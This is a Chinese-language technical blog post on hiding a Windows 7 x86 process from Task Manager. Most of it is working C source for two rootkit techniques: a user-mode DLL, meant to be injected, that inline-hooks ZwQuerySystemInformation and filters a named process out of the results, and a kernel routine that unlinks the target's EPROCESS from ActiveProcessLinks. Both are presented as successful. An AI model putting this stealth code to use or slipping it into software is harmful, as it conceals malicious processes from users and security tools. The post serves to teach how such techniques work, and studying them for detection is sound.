进程隐藏技术

Delina

原文链接：进程隐藏技术
​
本次实现是在WIN7 X86系统上进行，实验要达到的目的就是实现进程的隐藏，以让任务管理器查不到要隐藏的进程。这里要隐藏的程序是一个简单的HelloWord弹窗程序，程序名是demo.exe。

​

一
用户层的进程隐藏技术
1、实现原理用户层的进程隐藏的实现主要是通过HOOK任务管理器的ZwQuerySystemInformation函数。之所以是这个函数，是因为无论是通过EnumProcess函数还是CreateToolhelp32Snapshot函数来查询进程，它们最终都会调用ntdll.dll中的ZwQuerySystemInformation函数来实现功能。
所以只要采用DLL注入技术，将DLL注入到要HOOK的进程中，并在DLL加载的时候执行HOOK ZwQuerySystemInformation函数就可以实现进程隐藏。关于如何实现DLL注入请参考这篇常见的几种DLL注入技术。而对ZwQuerySystemInformation的HOOK采取的是Inline Hook的技术。如何实现Inline Hook请参考这篇内核层的三种HOOK技术。
在IDA中可以看到ZwQuerySystemInformation的实现如下。由于它最开始的五个字节是为eax赋值调用号，所以其实可以根据热补丁的思想，对这五个字节进行HOOK。然后在HOOK完要执行的函数里面对eax进行重新赋值以后在跳转到下一行代码也就是mov edx，0x7FFE0300进行执行。
​
由于之前写过热补丁技术，这里的话就用传统的HOOK步骤。
① 使用GetProcAddress函数获取要HOOK的函数的地址，并将其保存。
② 修改前五字节的页属性为可读可写可执行。
③ 将这五个字节读出来备份起来。
④ 计算从需要跳转的大小，公式是：要跳转的目的地址-（HOOK的函数的地址 + 5）。
⑤ 将计算好距离的跳转指令写入函数的这五个字节。
⑥ 还原页属性。
UnHook则非常简单：
① 判断函数是否被HOOK。
② 修改函数地址页属性为可读可写可执行。
③ HOOK的时候保存的五个字节写回到函数地址。
④ 恢复函数地址页属性。
在完成HOOK以后执行的函数内部就需要以下的步骤来让程序正常运行：
① 首先调用UnHook将函数恢复。
② 调用原函数获取返回结果，将要隐藏的进程隐藏掉。
③ 再次对程序进行HOOK操作。
至于要如何将进程隐藏起来，就需要首先看看ZwQuerySystemInformation在文档中的定义了。

1. NTSTATUS WINAPI ZwQuerySystemInformation(
   
2.   __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
   
3.   __inout    PVOID SystemInformation,
   
4.   __in       ULONG SystemInformationLength,
   
5.   __out_opt  PULONG ReturnLength);

复制代码

参数	说明
SystemInformationClass	要检索的类型。是一个SYSTEM_INFORMATION_CLASS的联合体
SystemInformation	指向缓冲区的指针，用于接收请求信息。该信息的大小和结构取决于SystemInformationClass
SystemInformationLength	SystemInformation参数指向的缓冲区的大小
ReturnLength	一个可选指针，指向函数写入请求信息的实际大小的位置

而SYSTEM_INFORMATION_CLASS，在文档中的定义如下：

1. typedef enum _SYSTEM_INFORMATION_CLASS {
   
2.     SystemBasicInformation = 0,
   
3.     SystemPerformanceInformation = 2,
   
4.     SystemTimeOfDayInformation = 3,
   
5.     SystemProcessInformation = 5,
   
6.     SystemProcessorPerformanceInformation = 8,
   
7.     SystemInterruptInformation = 23,
   
8.     SystemExceptionInformation = 33,
   
9.     SystemRegistryQuotaInformation = 37,
   
10.     SystemLookasideInformation = 45
    
11. } SYSTEM_INFORMATION_CLASS;

复制代码

当它指定为SystemProcessInformation(0x5)的时候，就表示要检索系统的进程信息。函数将会得到所有的进程信息并把这些得到的进程信息的内容保存到SYSTEM_PROCESS_INFORMATION结构数组，数组中的每一个元素都代表了一个进程信息。而数组的首地址将会保存到第二个参数SystemInformation中。而SYSTEM_PROCESS_INFORMATION在文档中的定义如下：

1. typedef struct _SYSTEM_PROCESS_INFORMATION {
   
2.     ULONG NextEntryOffset;
   
3.     BYTE Reserved1[52];
   
4.     PVOID Reserved2[3];
   
5.     HANDLE UniqueProcessId;
   
6.     PVOID Reserved3;
   
7.     ULONG HandleCount;
   
8.     BYTE Reserved4[4];
   
9.     PVOID Reserved5[11];
   
10.     SIZE_T PeakPagefileUsage;
    
11.     SIZE_T PrivatePageCount;
    
12.     LARGE_INTEGER Reserved6[6];
    
13. } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

复制代码

其中的NextEntryOffset代表的是下一个SYSTEM_PROCESS_INFORMATION元素距离现在这个SYSTEM_PROCESS_INFORMATION元数的偏移。而UniqueProcessId就是查询到的这个进程的PID。根据它就可以找到要隐藏的进程，并将它从这个结构体数组中断开，也就是要隐藏进程的SYSTEM_PROCESS_INFORMATION的上一个元数的NextEntryOffset加上当前SYSTEM_PROCESS_INFORMATION的NextEntryOffset。具体代码实现如下：

1. // dllmain.cpp : 定义 DLL 应用程序的入口点。
   
2. #include <Windows.h>
   
3. #include <winternl.h>
   
4. #include <cstdio>
   
5. #include <TlHelp32.h>
   
6. 
   
7. #define HIDE_PROCESS_NAME "demo.exe"  //要隐藏的进程名
   
8. 
   
9. typedef
   
10. NTSTATUS
    
11. (WINAPI* pfnZwQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass,
    
12.                                       PVOID SystemInformation,
    
13.                                       ULONG SystemInformationLength,
    
14.                                       PULONG ReturnLength);
    
15. 
    
16. 
    
17. //HOOK以后要执行的函数
    
18. NTSTATUS WINAPI MyZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,
    
19.                                            PVOID SystemInformation,
    
20.                                            ULONG SystemInformationLength,
    
21.                                            PULONG ReturnLength);
    
22. BOOL Hook();
    
23. BOOL UnHook();
    
24. VOID ShowError(PCHAR msg);
    
25. DWORD WINAPI ThreadProc(LPVOID lpParameter);
    
26. DWORD GetPid(PCHAR pProName); //根据进程名获取要隐藏的进程的PID
    
27. 
    
28. DWORD g_dwOrgAddr = 0;   //原函数地址
    
29. CHAR g_szOrgBytes[5] = { 0 };  //保存函数的前五个字节
    
30. DWORD g_dwHidePID = 0;   //要隐藏的进程的PID
    
31. 
    
32. BOOL APIENTRY DllMain( HMODULE hModule,
    
33.                        DWORD  ul_reason_for_call,
    
34.                        LPVOID lpReserved
    
35.                      )
    
36. {
    
37.     switch (ul_reason_for_call)
    
38.     {
    
39.         case DLL_PROCESS_ATTACH:
    
40.         {
    
41.             HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
    
42.             if (hThread) CloseHandle(hThread);
    
43.             break;
    
44.         }
    
45.         case DLL_THREAD_ATTACH:
    
46.         case DLL_THREAD_DETACH:
    
47.         case DLL_PROCESS_DETACH:
    
48.             break;
    
49.     }
    
50.     return TRUE;
    
51. }
    
52. 
    
53. BOOL Hook()
    
54. {
    
55.     BOOL bRet = TRUE;
    
56.     HMODULE hNtDll = NULL;
    
57.     pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;
    
58.     BYTE szShellCode[5] = { 0xE9, 0, 0, 0, 0 };    //写入跳转指令的五字节
    
59.     DWORD dwOldProtect = 0;  //保存原来的页属性
    
60. 
    
61.     hNtDll = LoadLibrary("ntdll.dll");
    
62.     if (hNtDll == NULL)
    
63.     {
    
64.         ShowError("LoadLibrary");
    
65.         bRet = FALSE;
    
66.         goto exit;
    
67.     }
    
68. 
    
69.     //获取函数地址
    
70.     ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hNtDll, "ZwQuerySystemInformation");
    
71.     if (ZwQuerySystemInformation == NULL)
    
72.     {
    
73.         ShowError("GetProcAddress");
    
74.         bRet = FALSE;
    
75.         goto exit;
    
76.     }
    
77. 
    
78.     //保存HOOK函数的地址
    
79.     g_dwOrgAddr = (DWORD)ZwQuerySystemInformation;
    
80. 
    
81.     //修改页属性是可读可写可执行
    
82.     if (!VirtualProtect(ZwQuerySystemInformation, sizeof(szShellCode), PAGE_EXECUTE_READWRITE, &dwOldProtect))
    
83.     {
    
84.         ShowError("VirtualProtect");
    
85.         bRet = FALSE;
    
86.         goto exit;
    
87.     }
    
88. 
    
89.     //将原来的五个字节内容保存
    
90.     if (!ReadProcessMemory(GetCurrentProcess(), ZwQuerySystemInformation, g_szOrgBytes, sizeof(g_szOrgBytes), NULL))
    
91.     {
    
92.         ShowError("ReadProcessMemory");
    
93.         bRet = FALSE;
    
94.         goto exit;
    
95.     }
    
96. 
    
97.     //计算要跳转的长度
    
98.     *(PDWORD)(szShellCode + 1) = (DWORD)MyZwQuerySystemInformation - ((DWORD)ZwQuerySystemInformation + 5);
    
99.     //将shellcode写入
    
100.     if (!WriteProcessMemory(GetCurrentProcess(), ZwQuerySystemInformation, szShellCode, sizeof(szShellCode), NULL))
     
101.     {
     
102.         ShowError("WriteProcessMemory");
     
103.         bRet = FALSE;
     
104.         goto exit;
     
105.     }
     
106. 
     
107.     //还原页属性
     
108.     if (!VirtualProtect(ZwQuerySystemInformation, sizeof(szShellCode), dwOldProtect, &dwOldProtect))
     
109.     {
     
110.         ShowError("VirtualProtect");
     
111.         bRet = FALSE;
     
112.         goto exit;
     
113.     }
     
114. exit:
     
115.     return bRet;
     
116. }
     
117. 
     
118. BOOL UnHook()
     
119. {
     
120.     BOOL bRet = TRUE;
     
121.     DWORD dwOldProtect = 0;  //保存页属性
     
122. 
     
123.     if (g_dwOrgAddr == 0)
     
124.     {
     
125.         MessageBox(NULL, TEXT("函数还未HOOK"), TEXT("Error"), MB_OK);
     
126.         bRet = FALSE;
     
127.         goto exit;
     
128.     }
     
129. 
     
130.     //修改页属性为可读可写可执行
     
131.     if (!VirtualProtect((PVOID)g_dwOrgAddr, sizeof(g_szOrgBytes), PAGE_EXECUTE_READWRITE, &dwOldProtect))
     
132.     {
     
133.         ShowError("VirtualProtect");
     
134.         bRet = FALSE;
     
135.         goto exit;
     
136.     }
     
137. 
     
138.     //将函数中原来的内容恢复回去
     
139.     if (!WriteProcessMemory(GetCurrentProcess(), (PVOID)g_dwOrgAddr, g_szOrgBytes, sizeof(g_szOrgBytes), NULL))
     
140.     {
     
141.         ShowError("WriteProcessMemory");
     
142.         bRet = FALSE;
     
143.         goto exit;
     
144.     }
     
145. 
     
146.     //将页属性恢复
     
147.     if (!VirtualProtect((PVOID)g_dwOrgAddr, sizeof(g_szOrgBytes), dwOldProtect, &dwOldProtect))
     
148.     {
     
149.         ShowError("VirtualProtect");
     
150.         bRet = FALSE;
     
151.         goto exit;
     
152.     }
     
153. 
     
154.     g_dwOrgAddr = 0;
     
155.     memset(g_szOrgBytes, 0, sizeof(g_szOrgBytes));
     
156. exit:
     
157.     return bRet;
     
158. }
     
159. 
     
160. 
     
161. NTSTATUS WINAPI MyZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass,
     
162.                                             PVOID SystemInformation,
     
163.                                             ULONG SystemInformationLength,
     
164.                                             PULONG ReturnLength)
     
165. {
     
166.     NTSTATUS status = 0;
     
167.     PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
     
168.     DWORD dwOrgFuncAddr = 0;
     
169.      
     
170. 
     
171.     //获取函数地址
     
172.     dwOrgFuncAddr = g_dwOrgAddr;
     
173. 
     
174.     //卸载HOOK
     
175.     if (!UnHook())
     
176.     {
     
177.         MessageBox(NULL, TEXT("UnHook失败"), TEXT("Error"), MB_OK);
     
178.         goto exit;
     
179.     }
     
180. 
     
181.     status = ((pfnZwQuerySystemInformation)dwOrgFuncAddr)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
     
182.      
     
183.     //判断函数是否调用成功，以及是否是查询进程的操作
     
184.     if (NT_SUCCESS(status) && SystemInformationClass == SystemProcessInformation)
     
185.     {
     
186.         pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
     
187.         while (TRUE)
     
188.         {
     
189.             //判断是否是要隐藏的进程
     
190.             if (g_dwHidePID == (DWORD)pCur->UniqueProcessId)
     
191.             {
     
192.                 //将进程隐藏起来
     
193.                 if (pPrev == NULL)   SystemInformation = (PBYTE)pCur + pCur->NextEntryOffset;
     
194.                 else if (pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0;
     
195.                 else pPrev->NextEntryOffset += pCur->NextEntryOffset;
     
196.                 break;
     
197.             }
     
198.             else pPrev = pCur;
     
199. 
     
200.             //如果没有下一个成功则退出
     
201.             if (pCur->NextEntryOffset == 0) break;
     
202.          
     
203.             //将指针指向下一个成员
     
204.             pCur = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pCur + pCur->NextEntryOffset);
     
205.         }
     
206.     }
     
207.     //重新HOOK
     
208.     if (!Hook()) MessageBox(NULL, TEXT("Hook失败"), TEXT("Error"), MB_OK);
     
209. exit:
     
210.     return status;
     
211. }
     
212. 
     
213. DWORD WINAPI ThreadProc(LPVOID lpParameter)
     
214. {
     
215.     g_dwHidePID = GetPid(HIDE_PROCESS_NAME);
     
216. 
     
217.     if (g_dwHidePID == 0)
     
218.     {
     
219.         MessageBox(NULL, TEXT("没有找到要隐藏的进程"), TEXT("Error"), MB_OK);
     
220.     }
     
221.     else
     
222.     {
     
223.         if (!Hook())
     
224.         {
     
225.             MessageBox(NULL, TEXT("Hook 失败"), TEXT("Error"), MB_OK);
     
226.         }
     
227.         else MessageBox(NULL, TEXT("Hook成功"), TEXT("Success"), MB_OK);
     
228.     }
     
229. 
     
230. 
     
231.     return 0;
     
232. }
     
233. 
     
234. DWORD GetPid(PCHAR pProName)
     
235. {
     
236.     PROCESSENTRY32 pe32 = { 0 };
     
237.     HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
     
238.     BOOL bRet = FALSE;
     
239. 
     
240.     if (hSnap == INVALID_HANDLE_VALUE)
     
241.     {
     
242.         printf("CreateToolhelp32Snapshot process %d\n", GetLastError());
     
243.         return 0;
     
244.     }
     
245. 
     
246.     pe32.dwSize = sizeof(pe32);
     
247.     bRet = Process32First(hSnap, &pe32);
     
248.     while (bRet)
     
249.     {
     
250.         if (lstrcmp(pe32.szExeFile, pProName) == 0)
     
251.         {
     
252.             return pe32.th32ProcessID;
     
253.         }
     
254.         bRet = Process32Next(hSnap, &pe32);
     
255.     }
     
256. 
     
257.     CloseHandle(hSnap);
     
258. 
     
259.     return 0;
     
260. }
     
261. 
     
262. VOID ShowError(PCHAR msg)
     
263. {
     
264.     CHAR szError[105] = { 0 };
     
265. 
     
266.     sprintf(szError, "%s Error %d", msg, GetLastError());
     
267.     MessageBox(NULL, szError, TEXT("Error"), MB_OK);
     
268. }

复制代码

2.运行结果在实现注入HOOK函数之前可以看到任务管理器可以查看到打开的demo.exe进程。

​

完成注入，HOOK成功之后就看不到了。

​

​​
二
内核层的进程隐藏技术
1、实现原理在内核中每一个进程都有对应的一个EPROCESS结构体，在Windows7下这个结构体中的部分成员如下，其中0x16C保存了进程名字的指针。通过这个指针可以获得当前EPROCESS表示的是哪一个进程。

1. 3: kd> dt _EPROCESS
   
2. nt!_EPROCESS
   
3.    +0x000 Pcb              : _KPROCESS
   
4.    +0x098 ProcessLock      : _EX_PUSH_LOCK
   
5.    +0x0a0 CreateTime       : _LARGE_INTEGER
   
6.    +0x0a8 ExitTime         : _LARGE_INTEGER
   
7.    +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   
8.    +0x0b4 UniqueProcessId  : Ptr32 Void
   
9.    +0x0b8 ActiveProcessLinks : _LIST_ENTRY    //进程链表
   
10.    +0x0c0 ProcessQuotaUsage : [2] Uint4B
    
11.    +0x0c8 ProcessQuotaPeak : [2] Uint4B
    
12.    +0x0d0 CommitCharge     : Uint4B
    
13.    +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK
    
14.    +0x0d8 CpuQuotaBlock    : Ptr32 _PS_CPU_QUOTA_BLOCK
    
15.    +0x0dc PeakVirtualSize  : Uint4B
    
16.    +0x0e0 VirtualSize      : Uint4B
    
17.    +0x0e4 SessionProcessLinks : _LIST_ENTRY
    
18.    +0x0ec DebugPort        : Ptr32 Void
    
19.    +0x0f0 ExceptionPortData : Ptr32 Void
    
20.    +0x0f0 ExceptionPortValue : Uint4B
    
21.    +0x0f0 ExceptionPortState : Pos 0, 3 Bits
    
22.    +0x0f4 ObjectTable      : Ptr32 _HANDLE_TABLE
    
23.    +0x0f8 Token            : _EX_FAST_REF
    
24.    +0x0fc WorkingSetPage   : Uint4B
    
25.    +0x100 AddressCreationLock : _EX_PUSH_LOCK
    
26.    +0x104 RotateInProgress : Ptr32 _ETHREAD
    
27.    +0x108 ForkInProgress   : Ptr32 _ETHREAD
    
28.    +0x10c HardwareTrigger  : Uint4B
    
29.    +0x110 PhysicalVadRoot  : Ptr32 _MM_AVL_TABLE
    
30.    +0x114 CloneRoot        : Ptr32 Void
    
31.    +0x118 NumberOfPrivatePages : Uint4B
    
32.    +0x11c NumberOfLockedPages : Uint4B
    
33.    +0x120 Win32Process     : Ptr32 Void
    
34.    +0x124 Job              : Ptr32 _EJOB
    
35.    +0x128 SectionObject    : Ptr32 Void
    
36.    +0x12c SectionBaseAddress : Ptr32 Void
    
37.    +0x130 Cookie           : Uint4B
    
38.    +0x134 Spare8           : Uint4B
    
39.    +0x138 WorkingSetWatch  : Ptr32 _PAGEFAULT_HISTORY
    
40.    +0x13c Win32WindowStation : Ptr32 Void
    
41.    +0x140 InheritedFromUniqueProcessId : Ptr32 Void
    
42.    +0x144 LdtInformation   : Ptr32 Void
    
43.    +0x148 VdmObjects       : Ptr32 Void
    
44.    +0x14c ConsoleHostProcess : Uint4B
    
45.    +0x150 DeviceMap        : Ptr32 Void
    
46.    +0x154 EtwDataSource    : Ptr32 Void
    
47.    +0x158 FreeTebHint      : Ptr32 Void
    
48.    +0x160 PageDirectoryPte : _HARDWARE_PTE
    
49.    +0x160 Filler           : Uint8B
    
50.    +0x168 Session          : Ptr32 Void
    
51.    +0x16c ImageFileName    : [15] UChar    //指向进程的名称
    
52.    +0x17b PriorityClass    : UChar
    
53.    +0x17c JobLinks         : _LIST_ENTRY
    
54.    +0x184 LockedPagesList  : Ptr32 Void
    
55.    +0x188 ThreadListHead   : _LIST_ENTRY

复制代码

其中偏移0xB8的ActiveProcesssLinks是一个LIST_ENTRY的链表，它在文档中的定义如下：

1. typedef struct _LIST_ENTRY {
   
2.    struct _LIST_ENTRY *Flink;    //指向下一个EPROCESS的ActiveProcessLinks
   
3.    struct _LIST_ENTRY *Blink;    //指向上一个EPROCESS的ActiveProcessLinks
   
4. } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

复制代码

这是一个双向链表，通过这个链表就可以遍历系统中的所有进程。而用户层通过API查看进程的时候，就是通过这个链表来查找进程的内容。所以只要在内核中将相应进程从这个链表中断链就可以实现进程隐藏。但是要注意这个链表的中的成员指向的是另一个EPROCESS的ActiveProcessLinks，如下图所示。所以要获得这个进程的EPROCESS还需要减去0xB8。

​

具体实现的代码如下：

1. VOID HideProcess()
   
2. {
   
3.     PEPROCESS pCurPro = NULL, pPrevPro = NULL;
   
4.     PCHAR pImageFileName = NULL;
   
5.     PLIST_ENTRY pListEntry = NULL;
   
6. 
   
7.     //获取当前进程的EPROCESS
   
8.     pCurPro = PsGetCurrentProcess();
   
9.     pPrevPro = pCurPro;
   
10.     do
    
11.     {
    
12.         //获取EPROCESS的进程名
    
13.         pImageFileName = (PCHAR)pCurPro + 0x16C;
    
14.         //是否是要隐藏的进程
    
15.         if (strcmp(pImageFileName, "demo.exe") == 0)
    
16.         {
    
17.             //对进程进行断链操作
    
18.             pListEntry = (PLIST_ENTRY)((ULONG)pCurPro + 0xB8);
    
19.             pListEntry->Blink->Flink = pListEntry->Flink;
    
20.             pListEntry->Flink->Blink = pListEntry->Blink;
    
21.             DbgPrint("进程%s隐藏成功\r\n", pImageFileName);
    
22.         }
    
23.         pCurPro = (PEPROCESS)(*(PULONG)((ULONG)pCurPro + 0xB8) - 0xB8);
    
24.     } while (pCurPro != pPrevPro);
    
25. }

复制代码

2、运行结果驱动加载前可以看到任务管理器可以正常查到运行的demo.exe进程。

​

而当驱动启动，执行了隐藏进程代码以后，在任务管理器中就看不到demo.exe了。

​

​